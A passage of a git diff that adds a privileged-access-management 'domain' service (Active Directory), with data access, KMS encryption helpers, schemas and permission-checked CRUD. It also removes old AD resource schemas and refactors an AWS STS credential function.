+      const countQuery = query.clone().count("*", { as: "count" }).first();
+
+      void query.select(selectAllTableCols(TableName.PamDomain));
+
+      const direction = orderDirection === OrderByDirection.ASC ? "ASC" : "DESC";
+      void query.orderByRaw(`${TableName.PamDomain}.?? COLLATE "en-x-icu" ${direction}`, [orderBy]);
+
+      if (typeof limit === "number") {
+        void query.limit(limit).offset(offset);
+      }
+
+      const [results, countResult] = await Promise.all([query, countQuery]);
+      const totalCount = Number(countResult?.count || 0);
+
+      return { domains: results, totalCount };
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Find PAM domains by project" });
+    }
+  };
+
+  const findMetadataByDomainIds = async (domainIds: string[], tx?: Knex) => {
+    if (!domainIds.length) return {};
+    const rows = await (tx || db.replicaNode())(TableName.ResourceMetadata)
+      .select("id", "key", "value", "pamDomainId")
+      .whereIn("pamDomainId", domainIds);
+    const byDomainId: Record<string, Array<{ id: string; key: string; value: string }>> = {};
+    for (const row of rows) {
+      if (row.pamDomainId) {
+        if (!byDomainId[row.pamDomainId]) byDomainId[row.pamDomainId] = [];
+        byDomainId[row.pamDomainId].push({ id: row.id, key: row.key, value: row.value || "" });
+      }
+    }
+    return byDomainId;
+  };
+
+  return {
+    ...orm,
+    findById,
+    findByProjectId,
+    findMetadataByDomainIds
+  };
+};
diff --git a/backend/src/ee/services/pam-domain/pam-domain-enums.ts b/backend/src/ee/services/pam-domain/pam-domain-enums.ts
new file mode 100644
index 00000000000..03fcd18cad1
--- /dev/null
+++ b/backend/src/ee/services/pam-domain/pam-domain-enums.ts
@@ -0,0 +1,7 @@
+export enum PamDomainType {
+  ActiveDirectory = "active-directory"
+}
+
+export enum PamDomainOrderBy {
+  Name = "name"
+}
diff --git a/backend/src/ee/services/pam-domain/pam-domain-factory.ts b/backend/src/ee/services/pam-domain/pam-domain-factory.ts
new file mode 100644
index 00000000000..1ab6a8a2e3e
--- /dev/null
+++ b/backend/src/ee/services/pam-domain/pam-domain-factory.ts
@@ -0,0 +1,10 @@
+import { TPamAccountCredentials } from "../pam-resource/pam-resource-types";
+import { activeDirectoryDomainFactory } from "./active-directory/active-directory-domain-factory";
+import { PamDomainType } from "./pam-domain-enums";
+import { TPamDomainConnectionDetails, TPamDomainFactory } from "./pam-domain-types";
+
+type TPamDomainFactoryImplementation = TPamDomainFactory<TPamDomainConnectionDetails, TPamAccountCredentials>;
+
+export const PAM_DOMAIN_FACTORY_MAP: Record<PamDomainType, TPamDomainFactoryImplementation> = {
+  [PamDomainType.ActiveDirectory]: activeDirectoryDomainFactory as TPamDomainFactoryImplementation
+};
diff --git a/backend/src/ee/services/pam-domain/pam-domain-fns.ts b/backend/src/ee/services/pam-domain/pam-domain-fns.ts
new file mode 100644
index 00000000000..bd2d4b40327
--- /dev/null
+++ b/backend/src/ee/services/pam-domain/pam-domain-fns.ts
@@ -0,0 +1,46 @@
+import { TKmsServiceFactory } from "@app/services/kms/kms-service";
+import { KmsDataKey } from "@app/services/kms/kms-types";
+
+import { TPamDomainConnectionDetails } from "./pam-domain-types";
+
+export const encryptDomainConnectionDetails = async ({
+  projectId,
+  connectionDetails,
+  kmsService
+}: {
+  projectId: string;
+  connectionDetails: TPamDomainConnectionDetails;
+  kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">;
+}) => {
+  const { encryptor } = await kmsService.createCipherPairWithDataKey({
+    type: KmsDataKey.SecretManager,
+    projectId
+  });
+
+  const { cipherTextBlob } = encryptor({
+    plainText: Buffer.from(JSON.stringify(connectionDetails))
+  });
+
+  return cipherTextBlob;
+};
+
+export const decryptDomainConnectionDetails = async ({
+  projectId,
+  encryptedConnectionDetails,
+  kmsService
+}: {
+  projectId: string;
+  encryptedConnectionDetails: Buffer;
+  kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">;
+}) => {
+  const { decryptor } = await kmsService.createCipherPairWithDataKey({
+    type: KmsDataKey.SecretManager,
+    projectId
+  });
+
+  const decryptedPlainTextBlob = decryptor({
+    cipherTextBlob: encryptedConnectionDetails
+  });
+
+  return JSON.parse(decryptedPlainTextBlob.toString()) as TPamDomainConnectionDetails;
+};
diff --git a/backend/src/ee/services/pam-domain/pam-domain-schemas.ts b/backend/src/ee/services/pam-domain/pam-domain-schemas.ts
new file mode 100644
index 00000000000..40d9378337e
--- /dev/null
+++ b/backend/src/ee/services/pam-domain/pam-domain-schemas.ts
@@ -0,0 +1,55 @@
+import { z } from "zod";
+
+import { PamDomainsSchema, ResourceMetadataSchema } from "@app/db/schemas";
+import { slugSchema } from "@app/server/lib/schemas";
+import { ResourceMetadataNonEncryptionSchema } from "@app/services/resource-metadata/resource-metadata-schema";
+
+import { ActiveDirectoryConnectionDetailsSchema } from "./active-directory/active-directory-domain-schemas";
+import { PamDomainType } from "./pam-domain-enums";
+
+export const BasePamDomainSchema = PamDomainsSchema.omit({
+  encryptedConnectionDetails: true,
+  domainType: true
+}).extend({
+  metadata: ResourceMetadataSchema.pick({ id: true, key: true, value: true }).array().optional()
+});
+
+export const ActiveDirectoryDomainListItemSchema = z.object({
+  name: z.literal("Active Directory"),
+  domain: z.literal(PamDomainType.ActiveDirectory)
+});
+
+const BaseActiveDirectoryDomainSchema = BasePamDomainSchema.extend({
+  domainType: z.literal(PamDomainType.ActiveDirectory)
+});
+
+export const ActiveDirectoryDomainSchema = BaseActiveDirectoryDomainSchema.extend({
+  connectionDetails: ActiveDirectoryConnectionDetailsSchema
+});
+
+export const SanitizedActiveDirectoryDomainSchema = BaseActiveDirectoryDomainSchema.extend({
+  connectionDetails: ActiveDirectoryConnectionDetailsSchema
+});
+
+const CoreCreatePamDomainSchema = z.object({
+  projectId: z.string().uuid(),
+  name: slugSchema({ field: "name" }),
+  metadata: ResourceMetadataNonEncryptionSchema.optional()
+});
+
+export const CreateActiveDirectoryDomainSchema = CoreCreatePamDomainSchema.extend({
+  gatewayId: z.string().uuid(),
+  connectionDetails: ActiveDirectoryConnectionDetailsSchema
+});
+
+const CoreUpdatePamDomainSchema = z.object({
+  name: slugSchema({ field: "name" }).optional(),
+  metadata: ResourceMetadataNonEncryptionSchema.optional()
+});
+
+export const UpdateActiveDirectoryDomainSchema = CoreUpdatePamDomainSchema.extend({
+  gatewayId: z.string().uuid().optional(),
+  connectionDetails: ActiveDirectoryConnectionDetailsSchema.optional()
+});
+
+export const SanitizedDomainSchema = z.discriminatedUnion("domainType", [SanitizedActiveDirectoryDomainSchema]);
diff --git a/backend/src/ee/services/pam-domain/pam-domain-service.ts b/backend/src/ee/services/pam-domain/pam-domain-service.ts
new file mode 100644
index 00000000000..bdeeda3a192
--- /dev/null
+++ b/backend/src/ee/services/pam-domain/pam-domain-service.ts
@@ -0,0 +1,419 @@
+import { ForbiddenError, subject } from "@casl/ability";
+
+import { ActionProjectType, TPamDomains } from "@app/db/schemas";
+import { ProjectPermissionActions, ProjectPermissionSub } from "@app/ee/services/permission/project-permission";
+import { DatabaseErrorCode } from "@app/lib/error-codes";
+import { BadRequestError, DatabaseError, NotFoundError } from "@app/lib/errors";
+import { OrgServiceActor } from "@app/lib/types";
+
+import { decryptAccountCredentials } from "../pam-account/pam-account-fns";
+import { decryptResourceConnectionDetails } from "../pam-resource/pam-resource-fns";
+import { TWindowsResource } from "../pam-resource/windows-server/windows-server-resource-types";
+import { PamDomainType } from "./pam-domain-enums";
+import { PAM_DOMAIN_FACTORY_MAP } from "./pam-domain-factory";
+import { decryptDomainConnectionDetails, encryptDomainConnectionDetails } from "./pam-domain-fns";
+import {
+  TCreateDomainDTO,
+  TListDomainsDTO,
+  TPamDomain,
+  TPamDomainServiceFactoryDep,
+  TUpdateDomainDTO
+} from "./pam-domain-types";
+
+export type TPamDomainServiceFactory = ReturnType<typeof pamDomainServiceFactory>;
+
+const decryptDomain = async (
+  domain: TPamDomains,
+  projectId: string,
+  kmsService: TPamDomainServiceFactoryDep["kmsService"]
+): Promise<TPamDomain> => {
+  const connectionDetails = await decryptDomainConnectionDetails({
+    encryptedConnectionDetails: domain.encryptedConnectionDetails,
+    projectId,
+    kmsService
+  });
+
+  return {
+    ...domain,
+    domainType: domain.domainType as PamDomainType,
+    connectionDetails
+  } as TPamDomain;
+};
+
+export const pamDomainServiceFactory = ({
+  pamDomainDAL,
+  pamResourceDAL,
+  permissionService,
+  kmsService,
+  gatewayV2Service,
+  resourceMetadataDAL
+}: TPamDomainServiceFactoryDep) => {
+  const getById = async (id: string, domainType: PamDomainType, actor: OrgServiceActor) => {
+    const domain = await pamDomainDAL.findById(id);
+    if (!domain) throw new NotFoundError({ message: `Domain with ID '${id}' not found` });
+
+    const { permission } = await permissionService.getProjectPermission({
+      actor: actor.type,
+      actorAuthMethod: actor.authMethod,
+      actorId: actor.id,
+      actorOrgId: actor.orgId,
+      projectId: domain.projectId,
+      actionProjectType: ActionProjectType.PAM
+    });
+
+    const metadataByDomainId = await pamDomainDAL.findMetadataByDomainIds([domain.id]);
+    const domainMetadata = metadataByDomainId[domain.id] || [];
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionActions.Read,
+      subject(ProjectPermissionSub.PamDomains, {
+        name: domain.name,
+        domainType: domain.domainType,
+        metadata: domainMetadata
+      })
+    );
+
+    if (domain.domainType !== domainType) {
+      throw new BadRequestError({
+        message: `Domain with ID '${id}' is not of type '${domainType}'`
+      });
+    }
+
+    return {
+      ...(await decryptDomain(domain, domain.projectId, kmsService)),
+      metadata: domainMetadata
+    };
+  };
+
+  const create = async (
+    { domainType, connectionDetails, gatewayId, name, projectId, metadata }: TCreateDomainDTO,
+    actor: OrgServiceActor
+  ) => {
+    const { permission } = await permissionService.getProjectPermission({
+      actor: actor.type,
+      actorAuthMethod: actor.authMethod,
+      actorId: actor.id,
+      actorOrgId: actor.orgId,
+      projectId,
+      actionProjectType: ActionProjectType.PAM
+    });
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionActions.Create,
+      subject(ProjectPermissionSub.PamDomains, {
+        name,
+        domainType,
+        metadata: (metadata || []).map(({ key, value }) => ({ key, value: value ?? "" }))
+      })
+    );
+
+    const existingDomain = await pamDomainDAL.findOne({ name, projectId });
+    if (existingDomain) {
+      throw new BadRequestError({
+        message: `Domain with name '${name}' already exists in this project`
+      });
+    }
+
+    const factory = PAM_DOMAIN_FACTORY_MAP[domainType](
+      domainType,
+      connectionDetails,
+      gatewayId,
+      gatewayV2Service,
+      projectId
+    );
+
+    const validatedConnectionDetails = await factory.validateConnection();
+    const encryptedConnectionDetails = await encryptDomainConnectionDetails({
+      connectionDetails: validatedConnectionDetails,
+      projectId,
+      kmsService
+    });
+
+    try {
+      const { domain: newDomain, insertedMetadata } = await pamDomainDAL.transaction(async (tx) => {
+        const created = await pamDomainDAL.create(
+          {
+            domainType,
+            encryptedConnectionDetails,
+            gatewayId,
+            name,
+            projectId
+          },
+          tx
+        );
+        let metadataRows: Awaited<ReturnType<typeof resourceMetadataDAL.insertMany>> | undefined;
+        if (metadata && metadata.length > 0) {
+          metadataRows = await resourceMetadataDAL.insertMany(
+            metadata.map(({ key, value }) => ({
+              key,
+              value: value ?? "",
+              pamDomainId: created.id,
+              orgId: actor.orgId
+            })),
+            tx
+          );
+        }
+        return { domain: created, insertedMetadata: metadataRows };
+      });
+
+      return {
+        ...(await decryptDomain(newDomain, projectId, kmsService)),
+        metadata: insertedMetadata?.map(({ id, key, value }) => ({ id, key, value: value ?? "" })) ?? []
+      };
+    } catch (err) {
+      if (err instanceof DatabaseError && (err.error as { code: string })?.code === DatabaseErrorCode.UniqueViolation) {
+        throw new BadRequestError({
+          message: `Domain with name '${name}' already exists in this project`
+        });
+      }
+      throw err;
+    }
+  };
+
+  const updateById = async (
+    { domainId, connectionDetails, name, gatewayId, metadata }: TUpdateDomainDTO,
+    actor: OrgServiceActor
+  ) => {
+    const domain = await pamDomainDAL.findById(domainId);
+    if (!domain) throw new NotFoundError({ message: `Domain with ID '${domainId}' not found` });
+
+    const { permission } = await permissionService.getProjectPermission({
+      actor: actor.type,
+      actorAuthMethod: actor.authMethod,
+      actorId: actor.id,
+      actorOrgId: actor.orgId,
+      projectId: domain.projectId,
+      actionProjectType: ActionProjectType.PAM
+    });
+
+    const existingMetadata = await pamDomainDAL.findMetadataByDomainIds([domainId]);
+    const currentMetadata = existingMetadata[domainId] || [];
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionActions.Edit,
+      subject(ProjectPermissionSub.PamDomains, {
+        name: domain.name,
+        domainType: domain.domainType,
+        metadata: currentMetadata
+      })
+    );
+
+    if (metadata || name) {
+      ForbiddenError.from(permission).throwUnlessCan(
+        ProjectPermissionActions.Edit,
+        subject(ProjectPermissionSub.PamDomains, {
+          name: name ?? domain.name,
+          domainType: domain.domainType,
+          metadata: metadata ? metadata.map(({ key, value }) => ({ key, value: value ?? "" })) : currentMetadata
+        })
+      );
+    }
+
+    const updateDoc: Partial<TPamDomains> = {};
+    const effectiveGatewayId = gatewayId !== undefined ? gatewayId : domain.gatewayId;
+
+    if (gatewayId !== undefined) {
+      updateDoc.gatewayId = gatewayId;
+    }
+
+    if (name !== undefined) {
+      updateDoc.name = name;
+    }
+
+    if (connectionDetails !== undefined) {
+      const factory = PAM_DOMAIN_FACTORY_MAP[domain.domainType as PamDomainType](
+        domain.domainType as PamDomainType,
+        connectionDetails,
+        effectiveGatewayId,
+        gatewayV2Service,
+        domain.projectId
+      );
+      const validatedConnectionDetails = await factory.validateConnection();
+      const encryptedConnectionDetails = await encryptDomainConnectionDetails({
+        connectionDetails: validatedConnectionDetails,
+        projectId: domain.projectId,
+        kmsService
+      });
+      updateDoc.encryptedConnectionDetails = encryptedConnectionDetails;
+    }
+
+    if (Object.keys(updateDoc).length === 0 && metadata === undefined) {
+      const existingMeta = await pamDomainDAL.findMetadataByDomainIds([domainId]);
+      return {
+        ...(await decryptDomain(domain, domain.projectId, kmsService)),
+        metadata: existingMeta[domainId] || []
+      };
+    }
+
+    try {
+      const updatedDomain = await pamDomainDAL.transaction(async (tx) => {
+        if (metadata) {
+          await resourceMetadataDAL.delete({ pamDomainId: domainId }, tx);
+          if (metadata.length > 0) {
+            await resourceMetadataDAL.insertMany(
+              metadata.map(({ key, value }) => ({
+                key,
+                value: value ?? "",
+                pamDomainId: domainId,
+                orgId: actor.orgId
+              })),
+              tx
+            );
+          }
+        }
+        if (Object.keys(updateDoc).length > 0) {
+          return pamDomainDAL.updateById(domainId, updateDoc, tx);
+        }
+        return domain;
+      });
+
+      const freshMeta = await pamDomainDAL.findMetadataByDomainIds([domainId]);
+
+      return {
+        ...(await decryptDomain(updatedDomain, domain.projectId, kmsService)),
+        metadata: freshMeta[domainId] || []
+      };
+    } catch (err) {
+      if (err instanceof DatabaseError && (err.error as { code: string })?.code === DatabaseErrorCode.UniqueViolation) {
+        throw new BadRequestError({
+          message: `Domain with name '${name}' already exists in this project`
+        });
+      }
+      throw err;
+    }
+  };
+
+  const deleteById = async (id: string, actor: OrgServiceActor) => {
+    const domain = await pamDomainDAL.findById(id);
+    if (!domain) throw new NotFoundError({ message: `Domain with ID '${id}' not found` });
+
+    const { permission } = await permissionService.getProjectPermission({
+      actor: actor.type,
+      actorAuthMethod: actor.authMethod,
+      actorId: actor.id,
+      actorOrgId: actor.orgId,
+      projectId: domain.projectId,
+      actionProjectType: ActionProjectType.PAM
+    });
+
+    const metadataByDomainId = await pamDomainDAL.findMetadataByDomainIds([id]);
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionActions.Delete,
+      subject(ProjectPermissionSub.PamDomains, {
+        name: domain.name,
+        domainType: domain.domainType,
+        metadata: metadataByDomainId[id] || []
+      })
+    );
+
+    try {
+      const deletedDomain = await pamDomainDAL.deleteById(id);
+      return await decryptDomain(deletedDomain, domain.projectId, kmsService);
+    } catch (err) {
+      if (
+        err instanceof DatabaseError &&
+        (err.error as { code: string })?.code === DatabaseErrorCode.ForeignKeyViolation
+      ) {
+        throw new BadRequestError({
+          message: "Failed to delete domain because it is attached to active PAM accounts or resources"
+        });
+      }
+      throw err;
+    }
+  };
+
+  const list = async ({ projectId, actor, actorId, actorAuthMethod, actorOrgId, ...params }: TListDomainsDTO) => {
+    const { permission } = await permissionService.getProjectPermission({
+      actor,
+      actorId,
+      actorAuthMethod,
+      actorOrgId,
+      projectId,
+      actionProjectType: ActionProjectType.PAM
+    });
+
+    ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionActions.Read, ProjectPermissionSub.PamDomains);
+
+    const { domains, totalCount } = await pamDomainDAL.findByProjectId({
+      projectId,
+      ...params
+    });
+
+    const domainIds = domains.map((d) => d.id);
+    const metadataByDomainId = await pamDomainDAL.findMetadataByDomainIds(domainIds);
+
+    return {
+      domains: await Promise.all(
+        domains.map(async (d) => ({
+          ...(await decryptDomain(d, projectId, kmsService)),
+          metadata: metadataByDomainId[d.id] || []
+        }))
+      ),
+      totalCount
+    };
+  };
+
+  const listRelatedResources = async (domainId: string, actor: OrgServiceActor) => {
+    const domain = await pamDomainDAL.findById(domainId);
+    if (!domain) throw new NotFoundError({ message: `Domain with ID '${domainId}' not found` });
+
+    const { permission } = await permissionService.getProjectPermission({
+      actor: actor.type,
+      actorAuthMethod: actor.authMethod,
+      actorId: actor.id,
+      actorOrgId: actor.orgId,
+      projectId: domain.projectId,
+      actionProjectType: ActionProjectType.PAM
+    });
+
+    const metadataByDomainId = await pamDomainDAL.findMetadataByDomainIds([domainId]);
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionActions.Read,
+      subject(ProjectPermissionSub.PamDomains, {
+        name: domain.name,
+        domainType: domain.domainType,
+        metadata: metadataByDomainId[domainId] || []
+      })
+    );
+
+    const relatedResources = await pamResourceDAL.find({ domainId });
+
+    return Promise.all(
+      relatedResources.map(async (r) => {
+        const { encryptedConnectionDetails, encryptedRotationAccountCredentials, encryptedResourceMetadata, ...rest } =
+          r;
+        const rConnectionDetails = await decryptResourceConnectionDetails({
+          encryptedConnectionDetails,
+          projectId: domain.projectId,
+          kmsService
+        });
+        const rotationAccountCredentials = encryptedRotationAccountCredentials
+          ? await decryptAccountCredentials({
+              encryptedCredentials: encryptedRotationAccountCredentials,
+              projectId: domain.projectId,
+              kmsService
+            })
+          : null;
+        return { ...rest, connectionDetails: rConnectionDetails, rotationAccountCredentials } as TWindowsResource;
+      })
+    );
+  };
+
+  const listDomainOptions = () => {
+    return [{ name: "Active Directory" as const, domain: PamDomainType.ActiveDirectory }].sort((a, b) =>
+      a.name.localeCompare(b.name)
+    );
+  };
+
+  return {
+    getById,
+    create,
+    updateById,
+    deleteById,
+    list,
+    listRelatedResources,
+    listDomainOptions
+  };
+};
diff --git a/backend/src/ee/services/pam-domain/pam-domain-types.ts b/backend/src/ee/services/pam-domain/pam-domain-types.ts
new file mode 100644
index 00000000000..827467d9c21
--- /dev/null
+++ b/backend/src/ee/services/pam-domain/pam-domain-types.ts
@@ -0,0 +1,89 @@
+import { z } from "zod";
+
+import { OrderByDirection, TProjectPermission } from "@app/lib/types";
+import { TKmsServiceFactory } from "@app/services/kms/kms-service";
+import { TResourceMetadataDALFactory } from "@app/services/resource-metadata/resource-metadata-dal";
+import { ResourceMetadataNonEncryptionSchema } from "@app/services/resource-metadata/resource-metadata-schema";
+
+import { TGatewayV2ServiceFactory } from "../gateway-v2/gateway-v2-service";
+import { TPamResourceDALFactory } from "../pam-resource/pam-resource-dal";
+import { TPostRotateContext } from "../pam-resource/pam-resource-types";
+import { TPermissionServiceFactory } from "../permission/permission-service-types";
+import { TActiveDirectoryConnectionDetails } from "./active-directory/active-directory-domain-types";
+import { TPamDomainDALFactory } from "./pam-domain-dal";
+import { PamDomainOrderBy, PamDomainType } from "./pam-domain-enums";
+
+export type TPamDomainConnectionDetails = TActiveDirectoryConnectionDetails;
+
+export type TPamDomain = {
+  id: string;
+  projectId: string;
+  name: string;
+  domainType: PamDomainType;
+  gatewayId?: string | null;
+  discoveryFingerprint?: string | null;
+  createdAt: Date;
+  updatedAt: Date;
+  connectionDetails: TPamDomainConnectionDetails;
+  metadata?: Array<{ id: string; key: string; value: string }>;
+};
+
+export type TCreateDomainDTO = {
+  projectId: string;
+  name: string;
+  domainType: PamDomainType;
+  gatewayId?: string | null;
+  connectionDetails: TPamDomainConnectionDetails;
+  metadata?: z.input<typeof ResourceMetadataNonEncryptionSchema>;
+};
+
+export type TUpdateDomainDTO = {
+  domainId: string;
+  name?: string;
+  gatewayId?: string | null;
+  connectionDetails?: TPamDomainConnectionDetails;
+  metadata?: z.input<typeof ResourceMetadataNonEncryptionSchema>;
+};
+
+export type TListDomainsDTO = {
+  search?: string;
+  orderBy?: PamDomainOrderBy;
+  orderDirection?: OrderByDirection;
+  limit?: number;
+  offset?: number;
+  discoveryFingerprint?: string;
+  filterDomainTypes?: string[];
+} & TProjectPermission;
+
+export type TDeleteDomainDTO = {
+  domainId: string;
+};
+
+export type TPamDomainServiceFactoryDep = {
+  pamDomainDAL: TPamDomainDALFactory;
+  pamResourceDAL: Pick<TPamResourceDALFactory, "find" | "findById">;
+  permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
+  kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">;
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">;
+  resourceMetadataDAL: Pick<TResourceMetadataDALFactory, "insertMany" | "delete">;
+};
+
+export type TPamDomainFactory<T, C> = (
+  domainType: PamDomainType,
+  connectionDetails: T,
+  gatewayId: string | null | undefined,
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">,
+  projectId: string | null | undefined
+) => {
+  validateConnection: () => Promise<T>;
+  validateAccountCredentials: (credentials: C) => Promise<C>;
+  rotateAccountCredentials: (rotationAccountCredentials: C, currentCredentials: C) => Promise<C>;
+  postRotate?: (
+    accountId: string,
+    newCredentials: C,
+    projectId: string,
+    ctx: TPostRotateContext,
+    rotationAccountCredentials: C
+  ) => Promise<void>;
+  handleOverwritePreventionForCensoredValues: (updatedAccountCredentials: C, currentCredentials: C) => Promise<C>;
+};
diff --git a/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-fns.ts b/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-fns.ts
deleted file mode 100644
index 5b4ad8a2991..00000000000
--- a/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-fns.ts
+++ /dev/null
@@ -1,8 +0,0 @@
-import { ActiveDirectoryResourceListItemSchema } from "./active-directory-resource-schemas";
-
-export const getActiveDirectoryResourceListItem = () => {
-  return {
-    name: ActiveDirectoryResourceListItemSchema.shape.name.value,
-    resource: ActiveDirectoryResourceListItemSchema.shape.resource.value
-  };
-};
diff --git a/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-schemas.ts b/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-schemas.ts
deleted file mode 100644
index de81a0e798f..00000000000
--- a/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-schemas.ts
+++ /dev/null
@@ -1,113 +0,0 @@
-import { z } from "zod";
-
-import { PamResource } from "../pam-resource-enums";
-import {
-  BaseCreateGatewayPamResourceSchema,
-  BaseCreatePamAccountSchema,
-  BasePamAccountSchema,
-  BasePamAccountSchemaWithResource,
-  BasePamResourceSchema,
-  BaseUpdateGatewayPamResourceSchema,
-  BaseUpdatePamAccountSchema
-} from "../pam-resource-schemas";
-import { ActiveDirectoryAccountType } from "./active-directory-resource-enums";
-
-// Resources
-const BaseActiveDirectoryResourceSchema = BasePamResourceSchema.extend({
-  resourceType: z.literal(PamResource.ActiveDirectory)
-});
-
-export const ActiveDirectoryResourceListItemSchema = z.object({
-  name: z.literal("Active Directory"),
-  resource: z.literal(PamResource.ActiveDirectory)
-});
-
-export const ActiveDirectoryResourceConnectionDetailsSchema = z.object({
-  domain: z.string().trim().min(1).max(255),
-  dcAddress: z.string().trim().min(1).max(255),
-  port: z.coerce.number().int().min(1).max(65535),
-  useLdaps: z.boolean(),
-  ldapRejectUnauthorized: z.boolean(),
-  ldapCaCert: z
-    .string()
-    .trim()
-    .transform((val) => val || undefined)
-    .optional(),
-  ldapTlsServerName: z
-    .string()
-    .trim()
-    .transform((val) => val || undefined)
-    .optional()
-});
-
-// Credentials (username + password for AD)
-export const ActiveDirectoryAccountCredentialsSchema = z.object({
-  username: z.string().trim().min(1).max(255),
-  password: z.string().trim().min(1).max(255)
-});
-
-// Account metadata
-export const ActiveDirectoryAccountMetadataSchema = z.object({
-  accountType: z.nativeEnum(ActiveDirectoryAccountType),
-  adGuid: z.string().optional(),
-  displayName: z.string().optional(),
-  userPrincipalName: z.string().optional(),
-  servicePrincipalName: z.string().array().optional(),
-  userAccountControl: z.number().optional(),
-  passwordLastSet: z.string().optional(),
-  lastLogon: z.string().optional()
-});
-
-export const ActiveDirectoryResourceSchema = BaseActiveDirectoryResourceSchema.extend({
-  connectionDetails: ActiveDirectoryResourceConnectionDetailsSchema,
-  rotationAccountCredentials: ActiveDirectoryAccountCredentialsSchema.nullable().optional()
-});
-
-export const SanitizedActiveDirectoryResourceSchema = BaseActiveDirectoryResourceSchema.extend({
-  connectionDetails: ActiveDirectoryResourceConnectionDetailsSchema,
-  rotationAccountCredentials: z
-    .object({
-      username: z.string()
-    })
-    .nullable()
-    .optional()
-});
-
-export const CreateActiveDirectoryResourceSchema = BaseCreateGatewayPamResourceSchema.extend({
-  connectionDetails: ActiveDirectoryResourceConnectionDetailsSchema,
-  rotationAccountCredentials: ActiveDirectoryAccountCredentialsSchema.nullable().optional()
-});
-
-export const UpdateActiveDirectoryResourceSchema = BaseUpdateGatewayPamResourceSchema.extend({
-  connectionDetails: ActiveDirectoryResourceConnectionDetailsSchema.optional(),
-  rotationAccountCredentials: ActiveDirectoryAccountCredentialsSchema.nullable().optional()
-});
-
-// Accounts
-export const ActiveDirectoryAccountSchema = BasePamAccountSchema.extend({
-  credentials: ActiveDirectoryAccountCredentialsSchema,
-  internalMetadata: ActiveDirectoryAccountMetadataSchema
-});
-
-export const CreateActiveDirectoryAccountSchema = BaseCreatePamAccountSchema.extend({
-  credentials: ActiveDirectoryAccountCredentialsSchema,
-  internalMetadata: ActiveDirectoryAccountMetadataSchema
-});
-
-export const UpdateActiveDirectoryAccountSchema = BaseUpdatePamAccountSchema.extend({
-  credentials: ActiveDirectoryAccountCredentialsSchema.optional(),
-  internalMetadata: ActiveDirectoryAccountMetadataSchema.optional()
-});
-
-export const SanitizedActiveDirectoryAccountWithResourceSchema = BasePamAccountSchemaWithResource.extend({
-  resourceType: z.literal(PamResource.ActiveDirectory),
-  credentials: z.object({
-    username: z.string()
-  }),
-  internalMetadata: ActiveDirectoryAccountMetadataSchema
-});
-
-// Sessions
-export const ActiveDirectorySessionCredentialsSchema = ActiveDirectoryResourceConnectionDetailsSchema.and(
-  ActiveDirectoryAccountCredentialsSchema
-);
diff --git a/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-types.ts b/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-types.ts
deleted file mode 100644
index df6e1033d2a..00000000000
--- a/backend/src/ee/services/pam-resource/active-directory/active-directory-resource-types.ts
+++ /dev/null
@@ -1,18 +0,0 @@
-import { z } from "zod";
-
-import {
-  ActiveDirectoryAccountCredentialsSchema,
-  ActiveDirectoryAccountMetadataSchema,
-  ActiveDirectoryAccountSchema,
-  ActiveDirectoryResourceConnectionDetailsSchema,
-  ActiveDirectoryResourceSchema
-} from "./active-directory-resource-schemas";
-
-// Resources
-export type TActiveDirectoryResource = z.infer<typeof ActiveDirectoryResourceSchema>;
-export type TActiveDirectoryResourceConnectionDetails = z.infer<typeof ActiveDirectoryResourceConnectionDetailsSchema>;
-
-// Accounts
-export type TActiveDirectoryAccount = z.infer<typeof ActiveDirectoryAccountSchema>;
-export type TActiveDirectoryAccountCredentials = z.infer<typeof ActiveDirectoryAccountCredentialsSchema>;
-export type TActiveDirectoryAccountInternalMetadata = z.infer<typeof ActiveDirectoryAccountMetadataSchema>;
diff --git a/backend/src/ee/services/pam-resource/aws-iam/aws-iam-federation.ts b/backend/src/ee/services/pam-resource/aws-iam/aws-iam-federation.ts
index 97415a0888f..20b7e52fe4c 100644
--- a/backend/src/ee/services/pam-resource/aws-iam/aws-iam-federation.ts
+++ b/backend/src/ee/services/pam-resource/aws-iam/aws-iam-federation.ts
@@ -181,10 +181,19 @@ export const validateTargetRoleAssumption = async ({
   }
 };
 
+export type TAwsIamSessionCredentials = {
+  accessKeyId: string;
+  secretAccessKey: string;
+  sessionToken: string;
+  expiresAt: Date;
+};
+
 /**
- * Assumes the target role and generates a federated console sign-in URL.
+ * Runs the STS role-chaining sequence and returns the temporary credentials
+ * that the caller can either consume directly (CLI) or exchange for a
+ * federated console sign-in URL via {@link exchangeCredentialsForConsoleUrl}.
  */
-export const generateConsoleFederationUrl = async ({
+export const generateAwsIamSessionCredentials = async ({
   connectionDetails,
   targetRoleArn,
   roleSessionName,
@@ -196,7 +205,7 @@ export const generateConsoleFederationUrl = async ({
   roleSessionName: string;
   projectId: string;
   sessionDuration: number;
-}): Promise<{ consoleUrl: string; expiresAt: Date }> => {
+}): Promise<TAwsIamSessionCredentials> => {
   const pamCredentials = await assumePamRole({
     connectionDetails,
     projectId,
@@ -216,15 +225,31 @@ export const generateConsoleFederationUrl = async ({
 
   const { AccessKeyId, SecretAccessKey, SessionToken, Expiration } = targetCredentials!;
 
-  // Generate federation URL
+  if (!AccessKeyId || !SecretAccessKey || !SessionToken) {
+    throw new InternalServerError({
+      message: "AWS STS returned credentials missing required fields"
+    });
+  }
+
+  return {
+    accessKeyId: AccessKeyId,
